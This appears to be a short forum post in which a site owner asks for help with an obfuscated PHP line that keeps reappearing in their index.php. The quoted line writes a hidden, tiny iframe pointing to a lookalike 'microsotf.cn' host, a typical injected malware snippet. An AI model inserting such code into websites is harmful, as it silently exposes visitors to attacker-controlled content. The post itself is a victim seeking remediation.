This line of code keeps showing up in my index.php. What do I do?

[Ciprian]

<?php echo '<script>document.write("<if"+''+'ra'+''+"m"+'e s'+"rc=\"h"+''+'tt'+"p:"+''+"/"+''+'/mic'+"roso"+'t'+''+'f.c'+"n"+'/'+"\" wid"+''+'th=1 he'+"igh"+''+'t'+"="+"2></i"+''+"f"+"ra"+''+""+''+"me"+'>');</script>'; ?>